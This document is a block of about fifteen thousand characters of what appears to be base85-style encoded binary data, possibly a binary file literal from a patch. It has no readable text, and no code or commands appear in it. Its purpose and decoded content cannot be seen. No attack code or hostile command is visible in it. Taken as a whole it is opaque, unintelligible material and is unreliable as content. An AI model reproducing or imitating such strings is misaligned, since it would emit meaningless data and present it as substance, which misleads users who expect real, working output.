zRi|fq0d^{rAU^JaOF0oXDU!pN4(#k+Ye~u#DM6i;b{=}aa$R0d64ugsb0R*EAb})t z{mdNbXJ*5BMp3=Vbh0dbkoR>5bv}=vQQzkg48{38LN*gXE6>iSqYP+|V($$+&)b-y zQjUcZ9R2!<)D;m|Sw)n+kkWplFUOXM$lt|=&m-u3ao~r;Ldy4~n|L+(J@t8n&RPmXG~8#6<^syaSr-?Be~-JWH)j-cE*&nw zeyn8zx=4TS(x2B5;gXfz!PnHiE60-GhGloAF=&gv5dFE1NjU&Y!Th}vYYTW&yLlZA zwkIf}T}W3njo_K>4!+3mz=?=D>gksfkEy20qIzsANS#dXJWG1^GgAn9z=x9`=jV=C zSUbURcroJvex=0WSdKQ-I^Le-zso0*0=$~eK~F4kCL_oh#OCDt@jW#ad1k|*bGbfw zJUKA6h7MGsC}afrX64A>CD0h6@RoMySQchDjnV_*pPl}Jsxg(vzR3pS%eaWqtLbK~ zv524GqNGccDnU&*g7y6b$0nWV2x__->XCF8BiLHn#hs)-Co`?U%|(I8(^+f7Mv7x<+84^drtc)ZpVY6We=yl%P2WsgCU(&nVM45zo@(7m~s^eQ<} zx2Bt#9%%$w(@!t#f#CRJSS-}PO38CDnBVhZCwTsB$e7a6%Zs9YzC=Rc-dc|GZzW4>l*b< zpuM)%1RfT6IPfa`yQ#gc7eNawGKK}OwQ11tW|{MH*}n;kTLWJXDJX4W@1lXDaecDscZ3nOdO8DPw=S^2drCyc?17JK2?v_gm9oX|7 zNh@Fuy%AiBde{@EZbQWp06Xsp@D)&@q+ente_I zQsN^}-jfcZR$9fu)cjXI2?gz*cf|Q(9(_ZD>w6THp0H5wG*f;&pq7=VsLYZ3dGHYd zPG-D09QFrlmZ?#_@n=Vv;ICYk=wrF|54aYOrnuG#rd}yAsE*dj-2b(}ZjzmzBWtcL ze1o=2oqn*C%@?2f@I-SMM#qQ_{*6~X{uX?XyIl8D#NuOx8+uu>nQ!rq@>`i7W><0# zvq#|lA}b%@bXEDGyp9k-hE|x%+e+qEc)`mEL3mMV zS7i`(RX$T$5zbV8O2X61Gpi`V%qq*PfUvyE#;S_2vFgsMQmCC(k2s_wRo7R8%=&8a z)s;+q^=EXgpH*MR>kN_3vKlvQf^f6uQ{G$%!qb{#KL%m!$J2RlAqdkyz8NCX-VAvj zqDap}qUt~fP(sy}c5--u~AP;QZQQ zM+ZgN(cv%&hdZ2e23F20k~z}xi6TAexUiEVE$pC z9(0=5SxL?7ytu1KE$+I!t0FD$`n;Qvo_AaR6B1tj)0Q5BZ|QNZ2k>h>M)bqF7YYHm zxS!Jn@i2OzA_MLi=#cU7d?4Lh{O%2NhfIp;1a2Fnpv# z#>2dkiVV0{lkqTYlp+J39i^oIueH$sNx}WBdL75AW9lYW9c!e@s)G<6yd@Z(>=s(} zP{*p{jRLXib+lE7oLKcb+Ny&fR=tk4>L7?!57ky31hML&+Ny&fRy|Z(br8g=hia=1 zf>?EYl~q}F5QbKmSpoT)sjNB(V%0;nRR=+=dZ@PQAc$2D)m9w@Wz|tA$Et%QRy|Z( zbr9ltc^_|}yG1h(!Y!J4T$HEGJP6BboTv%HiJE6<=0P}96Lue;CsKAFgr_y5J_aF5 z*?ka{-ABTX-3LkRK4g^L2Vqj3m^ug)Qzw=K0SK{mPLpuD&IN~Xfg=OXnyQfj5;8L2 z^s*WmKp0(bZaqlMt+$Xv1qci4U9Ato)%v&UJEf_Qu>+-1V+SPGG}zk!guM+8axekm zV1xT4+*gAM2$R29`UMC}zgWr91%#CxU2wKUjV>Up`05C+emL^g2@W?PoZxU1s)rj8 z)Nlg@IKvG{hZ>D2w{yeAmPBV8jvU<0}^5x6gn{! zoQY~c0w*T)HxhosxTM0Wp$Vb~LeG7AT_ih zP*j@(ZNNFu=3X1cxyP|C)EVm_AY)yqGu8o@u`X1Pb%PTY7wU|4z@4!UA~M#6 z>ah+48S6szSOk!Bp>p)Ut9Z1et2a+1=Kyt=9kknWQk~7wUq{cdsoUslhHP(Uj zyxZ8HP`a@{E&oXsSB-k$Z0T{a2RIio_$kh{9x~8@Wd=ILgn{lR20HXH8S#`T2E7>^ z=pYNYQN};W;z0&FkOAW{(1lv~J^wQY5AgADUx@g{0H}y~!06)l%2eXU)@4pBV=b$4 zTg>m2r;G(Fv8kNziKh%gbnqU2mSRtEY-Xebf>_fKZB0QCYZ{`hDF|XsLtstCzXd@o zVF)at8vd~ArKYrr=kNcgzN`Uzu$k8I(&QnY6@dT`tQnaBW@KK7<0+Y}g_$SvGU|yr zXXGS0Bj;M8$8v}B%IHM}r+)}AsmN-coL^J)1}}o%TJkb)fWB99C+~b-h70fj_LV+Q z@K@=9yy0qQnH>Z}%Z}zP&(q5;B3NDaYB_-W z(JdeC6LjB47l>Z?=(eD@KN`pzq6e0bEYGk@${!_quKaz1KD^wlu{E{ANZy?_qv9fh z)fG3e?1w5%=S|ToD_`VI(T}SP3R&Nl{l*f=T_U~=ekf(b8U6V7JQzLw}0-31H<!DXcrdi0=Cd zPIONo7}6uI2f)T27YJ_mSkwz(b+5++1A5Qw4X~*9UV`Jj2lep)M)mP*mWRE4JVX1E zGPbYhraTPl=h@Palzsg?cje)EKhFg0sG;HY_iT}eef>SR<>6_6&p0gCLyZGGXXN4f z08coKFxu8Y&w6<{IM8!k9xe^^+>nPS13kOLD03mqa{;>t$nzl2WSCp@o1Z;f8l)qAe=#>f& zDgb>@VX)koIJnvvehYU@wJjm!ZV5RU0`y?W6+y3r+#`A~Y)o`yz*<>e|*jTLazM`mmsf zTc0L+y7i#0gQmkZ`Qxz)EDF|KtkqlDzcw)2|_Q zsAa!avMeg?hbMUD?pw*1+GJr9#D%z674~iFIrrmo3&YvhQnJprjMIeuX^!mwCa=Yv z)=SSy$4vh3|NgBE<5V3}#m=Y%_l5L5>2zMDXwLt8&>my_AbDA)=K^WG3p^VE?8|8(R zjo!U%$a}pPNWI`)n3S>$lP<(%Cjh6ggKeEkdP%64l0GE$Vbbx*AUi(U%w&|EnQR4L z5?Yb0Uvg0UB@avPX=a5b--sX={_x=%(>`(#{`kx{J4xEEKBS$i{v@oZ$+TNCAL0~6o+{VjYH^!QtS z-UjIN_VBlZM(ji3-+qvpfhN2&`yB+D{mwZY`L)iybL|~cue~!E*R)xKv&3ZsH7?tN z_ep*DuMIf~<8#OHm~dR4L3xP|$~!7Agh%Dwhx5eNzPyq7NR7<5;{(DM1)>T<%Tc)h zOA?-5aP)_yM-*AXx9JuZ)dqH3Nub+snGoW7SaNMCU~5awmRnV4mp+0w;H^ug`+9l|Nh_ zaU3pxPtbeiM^*rLWCd-xS62kOy5e@RD%&fatpxOJrO}lcc7Ek80=HC7;C;CXm8VrD zd0JI`l?2zKRb3=93Mdkh+04=E8h_68R~pk)K9?N^10{3qA#P!KaT% zee~(X&q$s4*@DkV{p{vvpx*qfPc2gW)EZU`)M2%D^L~rnwW2>K^{?97WGp%na#7&L zkim7p9#iL6f*p14)uGg>y3b^YdR8~8J_dxS`m5?As#WzbH6Zs=gMME?3;n)$@CDHa zUp)B&+$Ud5{1VhYU!8AA>iLFu_^#4}h6xP=dlj$}8pg>e7uRTCBM2XD6egowT;t6G zH#ff87}8f8KNR#~VguA8tnnTikM>48H?gFK&(C zD_idn^g!#G-!c5m@0NX+v{PWA96j)<6tA`HyA$6b_7mT&ZA0$PHhTr`ZS$}V$Pe4} zZ%cCjw(~hBpWk+!py%5@6Zov{)OJW>YP;XtfqSam-1Zb+(td@&740{*M|FjDnA(Bl zm<~@nKx$gY%^d+YcYM^5)JGi$b^UXd-xE#verZ>rOS^6mKVw7J>s=vyz3Y=7Kz;H<_>U9{|M8a}fyV!M zOweOL4(bMUP`B~j$Q|EpTQ`K+)-6HMgl_YH0y_Vvz1<WiK+y+DoWwXqMkqw#x4eUlGh2xbPgEd0*G13qog*Aw2)Bf0438HYIn{E>d1O?bf9 z4EuR*D;_{BrUdx>-vH040V2Ll%>Y6y%mc=U2?<~b9DXS9XU{%7G_dgd2lpUQ^?>~b zix|LoxbYYR!aXr~Kt{to;X{Q7Fb)nqGBMOMO_2Z&2noLz@le~s@13D4R>1IKD&#Ov z6deBs7Jerw62K#n(EW#b67bN-!tdbWA`UPG(*xYWINUQ|kpLnvKfu~dgy(UDNCEVN zJBWd4glC@e5CIMg3BNvf@Ce+&5DULo@leac?^y8*Er11>2*|4ubOpqx2n>>Q7(VZX z-WV|-#kdWI>QMeiyefHr%Slbet0*SbzkTrKQ29uIEBJqw@rtjrS?X`IXFscBzh_h+ zs(MtQoVmbj0J!=AQ{W)&uIx|A4zNGvnUoMdlX4(mXB(I*G8L(jseVZX>MyBIka{B3 zvDBm@9-#WsN7ae(f>pNs_eP>2Cpfj@F%R%&Bj^XbihT-qse;?HQ z?<;>{PtH@hfu73!FgJxB(tT(I_hD&XqD$d009}-CTz;bC@}K&E!XLbl+1iT&xHl9F zOpezu`a^gPjjYv078V6qSafeOhS^)p9O-G^{kv11{Tdgv<69inlF7(Camy2>PUERBfP9wO7~1a`5Wfn`$F7n`(~;0X8B;jqKY(PJ}?_M93H! z%E#1MR0rsyI%?ASsP6oFKYvd>pU z`+PO)D{yCh^}C?IV~ht^hIovg9O5CA&@h@qdvv2X9!rjE6e&Y_WaIsff$nd-R0iv% zp=U#Zo(eealF|*zM`kO$Ja)#@%46RBz4<8u%h<6 z-0#9d+{XY5Zo>B%NgKIF()B+AU5}9z^?dBdh#tTqdg#G%Z%?3md%oxi=8K*j(eMqg z0iNS{z<07_XafZU90oTg0x%SdTez()?4>cTk%f^C!yKgmFu1`C;CCR#GnB|Zo-M?f zgo~p!o#m`5aWo24~-3TjY_}DK!xA^YM=t(K!uV;c;>5t3IJmj zG>_ldNQoYR163mnzlYRP2Eb5^Pbkkw*Vx4&3-=h0^d!jGg0K+O)J8s$&l29pkGi`l?aO)fKZ$Mj%GY=4xI^dn% z@+F_AIY;KA_^-L2iP^lGfA|L!e^Gc%5yErD=awLxQ|fRj!o#Jmm7@I0&t}ykKC4!I zE#l`xVx-T<)Ok@ylCQT;I`=v(U=v^cMc*$e-}lRXUlQMmgD%8pG+o#f*^2z;!Z$=O zd~^F7paWV=5dU{Vi@7a;PH($N`p(_9L)%d*s{6_AgeSXS?as&+hk3Rsk7>XV&#)m< zTkD5-PO7JeLp(o+3+;TkXNYPlBZqk|h)?sfHva+t_e&D?h@84AIPj$$!v-`xuy6XH z5tnfs1>eV$hjrz4l>_5W`L)#re^g@(K9~rJE42sUa1$PWt#i1JJRGibs}5p%R;Mr5 z>qgg|URTJ|>&_-Vx85F{9)kRkCd-@1!^Ebmn!=%5)$~kL!4H1@>}z@Wx!K}o^6<+y zN4}AV^WThUE)UzAhqnkynt-jf7JV?QKyufD~m{5CJZF#s?yALV?tU+}a;E)#{E@N#}9v(Md51oS&i`{N{xY%SklnqM%ua`sF zc-Z*$E%oqwvn$O|eUab%37vy6p!sa*91njqzpNhaH=of$C`VeH#FjZ&XTO~X#qy!; zU1$^!<2sD}ULH<H-H9<9|Kgm(xic|J&4EF1q-q zJ%cMZ5I{58jZ-YAQ?PqUe zxPA8a?yRKl&bluvsQa?Uy$d4~_wKN4r2dwDyLjK*a~#Y8?!g?V-Us)T+xu>ak9y6{ z1M2KN(+e`p=no@`0OcwiQE{jn!l52486I40d@;l{zSv$IwzsYqdtRJEr?DA=jISz* zrMiajvSVf3i7kb-x?1qEZ%g`G>OU@~}dmiimPdMYUEp zy7GLw+4C!3ufjl2sw4k_9_*#TmzjP0je)MB{7kt&ME#t-Ue?5w8q!InofSKd=Fq0~>4>e_(Ti zOGGa?K?YrK=Z_vp4T{zTS9U4sBtP5Yh;Xz zi)272ht6qAbWYP>nK`p0 zbGhqriwiA*U1%90-gZQ*X{{hLtyQ0I!R+&`cAT;P1W%ajPqpAbpK8bWPPMzkBdm9@ z9K}?O*F3U=lx}2)&Cbfx24{^)FC(r0k-^2W#e0xH?(9i)XHR&v&}+{-g5IHLTTgkm zWW%-n4X!ONEK{y6n*YnLZ9}@Y@LMUaR%lQJEYQG%B?({?Jlcj9e*ciA8vJ7S6%_pX z)@+W$k8Nn-7wa*IK&{Gv0=E{PEMo$|k_$-A!V4D8#GeI4xw904KN}@0F!-G<9xi@= z7Ycsq;5MRzi^Uj9t2G%Uhb5UiiUcqOdv#dfit?cP*CE@6&Yd;gh+Ru)BM#2$5s5rWop8p+0!`|1+ zI@sZiObE|lp;ZV^JNVXEh2WkA3c+uk6+?FCsWS1K+T{F$!%CerR4md2EZKwVL3t6iGneGAg>K5CQ#`JcWoJcVEpH0noFA28_=t(6w}Hao>}* zHvQi8ME9mYksd-P(oe|%>XZ!EGmtv{?LV>*{*h%vR;++;$hsTfCqNzU&U%LUnXG!r z@%NmV`uv{rY)%<%;&VsjVX%lilk-4qGMpg^HakxuW&%?tF%#HKTv${uB@QWta6?Ls zFD3DfFXb{HwH@;T`ODRQ5%clO$E!X@=2v|jPggwt^IM-Y^;@6Msf}1b=;AS_ zLEhtQpC?BUnA_wud)19+ZyuCEg7C~ebblAUwxZLVpf7cku9{{!F~=- zhP&6DaLbf?-3e!J&AL-`CkRJ(itB_*isLR14hMJA`#CXPfW~y$(gn;dU9h`@Bg|$I zYR30Se#ZBDlpfj@-0@wp=Ytr!ULv@}EuY#jN{_`jJ?oV}ZEPc9!3+~2vtV|PleAgzGFVZ2d!Fve z8iBVV9}~FK^AYh!u!W-h7d_|nLg+cYu=!LQrtvPZyS*L~d)RAoZ(x&qPwx$EdhhMT zw)fsmYVE)}Y|uV*+YbuIkf7SGrHv%PU92JlE6{z+YI&gJWQp?Jm15=~x^~!+GVwo)|pTrr(1-DJc~oT_Eg+ zxg8#CPYD+gD|^g602cIw2tZX;2H_B_LVo9}e^)uRzjrGy~4;tN9jO76_mIu;A z;-)R!(KU+qZjIt4KJ~1)v@v1_W73^V2lQOJOSs3@x|D7RuCTL)q@N{LaTXx-aWnk^ zaeoeEyhiuuTE->3LTSls<1$gp{||3p0?REq;uy=2GoX}G6qQnlLP|1JLK%|GBAG%;lZcX1;Y9lW|216qdiIX*yzlq>ea|_% z_cg9-t!vHW)M^h^1NNb6U-Koeud8jT21Q${jmQ1#YJBx)%&g-x_?otFSldb_F+ z6;4i%skf{0fZx*5S41!HwAl;N{n<`%`yjufjGCuAYMvFQYqJ7f8-QQBwd1ivW|=DE z8R^&T7y^@b47uY5aNWTgq&I4i=LkK=8l*RB5Ifbq>Bc=gTej!M*KTIiU%Pqz%>dW4 zEcQWJ95WQq7?#D}D2odTEo52jjk5URP=xW}(49o?96AyU$h{T*O%{TOW4CB`g@32w zkKPLZzJ@Qt9 zF2Kt?xX5flwZG_)pXajIjuP4HJeR$2&S6VO-{Ne#k@`2?I2?5_Z%Di8&YKYKoj2WU z;aNA?x^*=@X*lqmVmAZe!~FrUGITG!iXnyZs>wSeqU|HBD86tlsMf(o9b62TlF@qB zAmQ7jl5>tIYbzLA870+D0++6UEUh&D{}ZN^%O@MxPOdVYE}sq$o2ugWs=pf_|6X-0 z>zA?Bmcz&EZ&u5zZ8!DK_G%y6I_1Oan@uINx%y9B+W4vZVvNqfxcHEjhcE$G9-mkwH9(nu|)mME}Sj!XA=AJaYZY>tV)9=_(}~ zVhnxT5Wg2@0p^Th#RBQ}aL@)svH|7`OwR+s4h;jn)eO^sxa&q=8kqZmxYrHSxF5zK zp1e6I4loCW0euWZvcop&!>H{`hqT=dLq~@LH5}>qpd>)rmItCxAkgbDeE4GEMx-6T z!Ic=kJ;*T~EW#I6A#nKD4C#PNx+GXh= z5Q9JnyKOI>Ip>0Y2LDjbxGYt?IRb|iT5)Y zW~LUssc@$De3XS`dt)ZRH>^$T%y;t;zw%&&qcCo6&y)-tvkFT_znqex3Yz0` zqR>IA;09nq*Fa(D5moTqLAixP6|^p&TRK$1eHH(-c&LIU6-t*6RZtEhCDU9L^ai$M zYO8{CprK?stAcjmO;Xq`TSe81BY^Ln-@_Cc4${Y(faK=6K@d5+oMuLFNafvtIY zH@e3{&DG<$7TvQ~FlLiIL7Aw%697Z8D(fc7P7C~DH#D^h4>aebVbUHZMs7<9PAd*C}m_|CyGUAH`PoZw&_t~yLlkZ)EoglGYAhB zWMY&s)EcKd&AgG_)ER={jqKix;4uYHFL5I~@6bZh&y<*Q&iVZ-R^uiE<{Xcg2M87k zBj;V-`E@OWkgWALHf zJY#cc9Dd{!oQ*Q}>1INyj!B#yjYeVvhIQNlDR7+N!3f7yb_()YvqiBFiI=6Cc0JM_ zvN!o>t zUcj@{Xs(gvJxgp5CXwfe6rKf8Up3g;05Jut-~pOM-q77Aa#JMoUG-AD!5oFdo7@If&nyF~RU$+t=trLI!#)od-_CWeemiLD~>Q3EB1KC$Nuy` zyLeX9SL3|N(wo&ImFMB!%&@OEMfiBeu5&NL*6Tw2J+ksdgkp1N!o`3c1qtc#E+Gdy zWiBDT4boQ=1p8{E9J7tRX*fOoKz%jO9`w}&W&3L080o8dde~P(A<_d*@M&YZ+&k(` zb$RY1XOio3dr-RESBW5#;iZG#Imo8J$NTixJEU*RF89brlN*_iOT5kFQRdLcj&i%) z2`F9e;Vr$XjZs0}QRBfH_&iwS$r`SnLS=Thu%O4O_8u~=hN&t*nI@EqpzJ*4Zc^}2 zj>o4AWBf1276U}Z?Sl+jT#x#*7B`^V?C&}}w>!=G_J-Ri76fXg*c%>Xe@|zfa*fOW zS+)YUy@l^KNu1c?E-P4BfX~W;)wrJ=%R8G7*}*AWUqk#QGjew98Q9`7p>?X2Pw&b| z=ntxYR^8OBvB%>KwkcqGvcK{OtYH4%l2jBv9odf*p}0Tiy721u#e^OuAHuN z%J>!>Jnl`1qkg`^^C8?I75R8q#oWhd z?bfv8@M=xFow)PI7^`zR90k7hcpNFSy{ThG72EFxZI|KB4ECl3&-~A{zEBvMiqExu zx2-Ma9xuiGp%cAvT>M)VPMoLGBZ~3~{g!cEh_oJ&iLSZhO z+WukYGPX%Nkm2iI6mqY7d5VACOJ5~Q_*m$tCw_4v)SHM-5(*pXIY%r$!Zy-^XS0cPrH03U#+a-K~&&BH=*^!<>^i3=YgIjD5)AYgr*0LFNZs0P$MZY^RDXHTvEG zf-UtzN3|K3vD99mbW3gODm|pV&l_hVs%xV?+$8yVh0PTZK)N&wZ^j2pcgtepXPA(Z z^F@=1CEn6f4@Zwi7E5Z&y)LT zmY|^zA2u z-OM6SAM-A=$lBw!aZC0WCv7+hpSMo=9JwfYG%Hb%G73f=J<7^1qU>9z;F@7@!vT7Q z1XYw7QVUa^(91t?C3_CFMJ^S@l>SI$YoqjidECb1Q2OWhY%R zMRD2sHV^O-HT)GI(t}fR6-Tw1ikVJ(0oI0t!}gE%t>A#O|W|>-)d&rG&-XOwd92F@#ciqX=kc>CTCPj|p)*M<8p#OKL@iw7cpXj=d7xmZJ}*hexq_WEYem8yuF94p=% zrLV1~_VjqLC%>OwwBaIt@4DpvOYrpu$X5>+=_Ao8Iv$e#E0BcV4eQbn%;pJ5Rc4fl7zK_fhjc7gfdy)2k0*KncmnPK$cG-2 zaLgN4>G%t=qc~pc{!Wn@MhWb4oW9nXg)uhN#+AuOLk~zmmi7E}nr)H-=bOzoyDt3Y zLiWm@95|oHEf2tj3`8b;$b;l5t;lCl^7+5X?6a$NxZdNViZxXPx$(m9P0-T@&NM-n z=0Y6Fgb#V7*oBIGa7G!J?IR3Tc5v)t9 z3c_9h_5$8Q@NIT`7VR8=x`vSJcvIG9zxHOq!N$d*-I$eutxz)p#<96%{Ui)g-+2Ei zHj?%|)eQ15Cne3qWO8j9dVRPdZF4<*W;T11lkwx&j^o;aqh}rs=!=toJQ<&la4;7c zJ)4(x|K;4gMin>>Minyy6VmJmt*$&-CgO3VJ=D%skT-Se;NRr>~8T5WcMEJcVW3r29jG zdNgUry^9;7U}Nm@GNM=-FydN!!yy(#@Y>H1cwEW9KX;`y2XNL5OG}1tz5CCL#-5orjvAk z&dS!p6JA9-&Wh0EO{AlEk7LV2Cka#m(M6&gBkeI5i`ua!XDn4-{JVsY_wNFbRZs}S zT014^62;4@)bs3;Ub80vCXZ&Nmot~ z?8;Se)SxTp>7}}IaJy$Ov@iDw$hUEF$R#ZIj4Flx7|QSID`@$*#dp#2-50z}%U|xl zjF!KB(dV?>wk*1)9AoalT60bDwqkz2yI^{MlUgQaLM|vG6F%f|iUI}}ZNuOv9H~Kf zm0--IBiqhrE?9H{K8r3`egP_lJ&%CNmVj?Fb}ibCbhK3NOr5~D&gQT zcr8SU=f15De@L7eI?BfDTnKJiwj=^Jly%FToPU800*VbD!_0H79|thoL%5w=!Y!ZN z$VDZBF1RM`F6z=YLY|VN4Bc(hvgnbr(cCXC7G z@r=E3(;8u<#+~Qd(Q_W)Ck@?;qSu8 z@V@Q0yC1@Xw>;jjP{Onagq1#-HDC#SGUDpn@RqL0&?Z3>CM?J@L5IeMl?h7ToCKXI z8Y>`Gkf1|Nf=(asyid^IuNroBZh}50GTb44|A1$B%<0#we#fa{+e*GC42;nlJZoT6 z(BoYSu6JxM1w+uJU_p~G8?WyFZGW4Bf(M9ns^!@b2+C3jqMO>nQMt5@L8pLN*tTWT zV@fS$8yimW%CXLjX9)&uLQbX^J)Ti9j8_RG-MwPKmjkS^g7@y8A&k^`*MMo%h-i3x z;%+$n6=6Qv%;N7DJONjKU^@TlYnItR#@zUbIq~UpdmsTjb`1W{V0_4p@cl1TiwcWM z@i9#2Dk?;M<$rp&nBZEj^VN%k*PsZiPyW3fC$S8pep9%bg7O%i9%8Jru{TFrs&rHD zRMwR<`ajtpfx&Ga@9RoLzKXD74;45RZ&Qr^oZnaXiBOrDH>zwf<(7^jw6Ejm~T4qXk>n5|9ye%@;zWG-#x*GN^x_Sw2Kw-SlS~(VLA7Z}2Azb+k zL6hanH}`R7O3%M)3GNAC@Paof9oKhk`97dr1j^`fj-#yMKq(c3f^C|~;4wO$Fl?yZ zBj{58Y_Y<|Y|&M(@V1;+u6pAtqYegn78^5T`>i5H+wZz+nzLQ-u-!C~i*p#aUGW=t z2*Du119X=BD6BTWzH!BSSHP0@uJ{O^v3n;xi_Nbl8^$esDzZR~zv2Ph6iRn^JPQO? z8frQ=4n^1l3_$dJns_CkBEmm7kegz#-s3^4Lh7D+lns&l8Ne(c`&d|PPHB(H=@xOV z5pr(4pf7YvRH`=n%M+?kFegQRDEhoU;opyb=oo$%6~Dp$G}982p%hv!3gPoZ(Wv@p zz>pegeUqqF`r7ikWzlq{^73zPqw5*~dg9%Gv*vSxh4v@#waI>SeWe?ss}xVJR6iU2 z=by??;R?Z1OWhK5WKeUVTF0cz^O? zb8ywPRi9AIc%MRUyzeQj|4rOC2kOsNORKCzdee&@&pc|P*;1CX8O`yB-+Q>Xqp?sJ z%_)b^INV1wkYO|_*j3x%?=Q$NjR1DBV5IO7$N9BXHrV=R=ZRmZ(q zT~ztz&RsnDqTBc_5-Fai`!a8SjL*z!&*J#6i5C9JWiz{MYr>}w#ZNM#PsR}Gqvlb> zEPIv|z}Q~>oHvZT!^n$?Me>?jPXg84a_J@YrINPS z+f~m%@DmD-sDHbYK%lz5gk@JgU#an4jb!CBq1u&Cq0$Aqk;ro8^Tis=YM@3jj%_Ct zu6)j|v49j5GLL7~gVuMTV{@&qfYSPUOsUq_gg;6`In2*y&r`4!EUM`q=K6s)S^P7lr!?sa-n=^Lx%!gdx>=qy{b?EpXRnN(^~8X5D^ zx=Z<_%f9-fu|rfn+5D^KgpL}`cJ%%>FSfzwiMAhe&TH7|FP)ChW1ZgUgwIQ7ynY5g zQ_g((Onk=le~c4hOm+VBHAmZArc#|zYmM$WgO~2kJAE0a04H29_X1Q}2juNzc~M@- z+sE=IdQ0f8i@C$PolSNe-Ene9K$8)YfhlkPU}*fq*k$DBiEXx;Mv42W=U3y!P_d|CSarskMU{U9+pmPx)z-yHLK-P+CBI5MU2>} zPSdax%hZ)7cDX`0?Mb2TRtU#RDb(Exxyt(}3B$}_U_&q~Zy$1r%3II~5|wudqQ*Ja zsbXnE>;-i5iIMi0Ql-u9L}_rgkMD_y+U?nyS$yuQfvtq7GfkrCkOh|mkOhqqSxkIf z*3&&jQyJ90W!UHYLak-4SgUs7(2M%!kgYgP%_Q?8M~R5p-*Pna^L}+NSEg>QF&fp2 z8eL-oF7*a~e5_~9t)2yKtLG3zT{OS5jocy7fg0a~xYm%{R4Ta5Sr{SZf^02cG8HG@!5Ua@2BCj=JajIAjsI+Jft^{Ly08%hmd^0N{*o9 zn$y=AURbF62%oL6N1QzFCcAaD^Y>#J! z&CUn*R(>a}2bp)^x0QJrgVm`+)vm)Q*D^Ox>DRgzAZXpzw`GtkMNr4K%12ig5 z6UORTc>X!QJKrrl>obK?8I+yzouoj8$7cW<6&DC2_JOLq^Pl9tM&?_6u~4{C^v?Xp zNP!BE=SESZ;-A7;9amvImj6nA)Z41KStyl3c_jY@QlP@)GXRZ>iNaVNb0E*=zmtzi z8)L;3p>SelUjFN(K!wNq`4l}@7^|bBFf1M$v)jjr%o9pwP=3q1jTETx_zXb)^!&Co zhKnQ|GEHhYwV@xXBoq#rCN+GhA+vu887`4h$PJmij0~AR3e@97SG8H}uc5elJUeKZ zA^66zxfy~GG$EcMry|*9A5-lfs=@4l$5Rb|`XXWE$ZKVzPa65?^c4z6UY|AklAE`U z@<4_oFABMlm#4@8^Bz&c)SA`g@g`n*=c0~*mmLZRQfIIe9blTAgh1mb}SrWK(4dxuX4m+0B_)ZJhg7T-U2p4xNKGS?T zjwi8O=|hsS+xf!C3gnNvcXP0ahFtKbK7q#Tg^_)T$Lr0nXZsKy@A?od1Ncu*6n3`w zuT&jI=L|n&+9CKXJN|RN-L&d&oA6c>xep}N-3oQLLfx$p-m|BWYw;IL7}DZnlATf9sE?N-9%bY6L;tMD(zQ_Doi{IrmpC{Pjzm{IhN5`f#nArgOU5g*Gbhj+s zElW;|KU_3Pi$5`aPZ}-$J?SUd9o}AlSN+@;zmJGWi@zxSQ5p^%+hBYH6uR*Z?ri`^ zqPe-)v*xz=g0?Mw2%^QG_Zwc=pf^bfw#8rEXKl;e zicF-IHhdpvSWym3v2?dA-7QN_IoTkZOe{G`yD;-S=Qf_tyq5tqzTxDCK{?Sc<_fT4 zT%Gv|HM@GM;friyQ9NGvJh{a~(6)GlAd1K2Q*E4F3+q9)8A!tOds-^yoN~cZ+qmBn zzXjX4=N2qt7Wt;^@9=@T&2-(>;`*=hjh&}kEJcP%dd7(YJE1YRV6K(@p0ZE3c!t~= zmXwVWlr1UaYusliGdLy>sJ5gC)%fQdk!494TVuRTX8bG^mXzNQ8RjN4Jl^(=5y0@% zeJ&`-&usb80lzmKc0>X)Ed2D>!pr6BkLzu%htE5$-ftxnpE*osGXcB_&Y!sj?wwYj zw}Kz$HO4x4az_n(f`@MQ!*UQ>Jm$iDcmHpER=^sUg zI|tsbx4s@eOIj^!#hDcq`{>Bdfoh$6TCj(;t?qy78gpZhXEwsRT4TqC6-BHHVMQ?) zVRh*9MVVbq`lHUsy68`jta}G$cukoukLt9-nHv$&A;r*f=SWp7XaO`nP+>q#T`wfu%)J8W@U5*>xmq6Wq1Dp15 z7JXIZ+_0_nj@G$u_)uiH-(XqM>LPr$wBFVlMHp`I;Y$y2ukbSsCe?k&xxwR|8_Jzw zQ(D}Ri*Rme=eV$r#AH{$*BimpXd{Zo6nQsz7Qd($pX+6iOz41xAXYmsa#VIuP~`~7 z4vLvu_n6Wh6nc1&S8h(e-%^B^y3A<6;~6{JuBQv5S>kLsts$x{3>yT`T8xYz2qV+$ zqXz5P(?Oo`_$1FT=jb1W{ZuUVf7k5yX863{e0U3d9%`|GpWjcMagy5^P)ek`73mI< zRn5`dJ=EfHw0dNdUl4@p8K269Tq9=wU|8l4hGzcw{lvRY;vb2I24`CTVLBO^MU_Lu zCO3Zj%x=LX$i_adEaGM{BBfi4W@HGMHLAh5 z2FMWO8rt`&Tco(_V{iT28X$eZ>haw5fic_w$L7XxA&4gJT1Um1 zAUd*vTN&h{2gY$8Q~;5$?(`EvUrYHxb!g~3@l&l6AZ_oF|jeR=w4)S zT%Lk}JS~{Vcvsjt*x1zKSJQf>V!^X{LL%$+!pO|^6W*Fdh={nyGjk#0yB!-BUY%S^; zI4@yLo)t)(t0vTcke3v|WRG_yzu?%M$sq`n-*Z$k`QJSfJI+-vHhQ~}HQD2-6@#0n z9GmNVhM*~|^;{o>+sZJ?JK~N;CZ%J+)7>h*rne2vwoUQzm%G3b2!9$=K@ z&4yS#5_QWx=@jtn<{78m(X$zF730m$%(4s+%QA0eE#fV1m&a*>tkF{(=m{>w%+=Qg z`o?l(H8yS3cA?r=Fr}hi$;{>)>+G!24!qIc1=?TN2o8wX^_mzQYhn{zmmoM3rxFo_ z@m;;~T^Y*z@U(hA^C}98dKKEC6nGO#S04%xCKQ~pw4rpx9tQSmO*(2kHsF%)gNWN4 zK8QBq8i8R$)%eWtED;Z9UpC+A`uUjq6w*wHzmmmGsDCDF-Z%d%+3|la8!XI(uJ~T; ze>{o@r&`v#E>#Ctl|{><{A&Th%K(=}Thj$da1U=y?@1@jd(ywAV=^1jU(;(+&XAXTeo2wT#;s_Fo1V-kleQ z8{)&@LwsmOi1)^zO0qZXnQYBXG^S(!=kb3-se;P5`|b_3MxjuK_Nam^2%#maAO%cl zgDUvB91erJq>#>b>G0N>^!{4yF&UjcWJZ^#7fkuk$Di&C3MxWXpC|X8NRQ>1Zfs^U zM|dy7PC&D>?_>e3$-crXB~X8UeTEgpWY>ok=1$7x4b*Z~93oE8+IIVt=vLPXQr z^h|4NTfCG<(-Rnn7II*mB@N+%%ssc-d_A4*OCkrpY+hbUdknmwXKZ>KAC+obkZCMZ 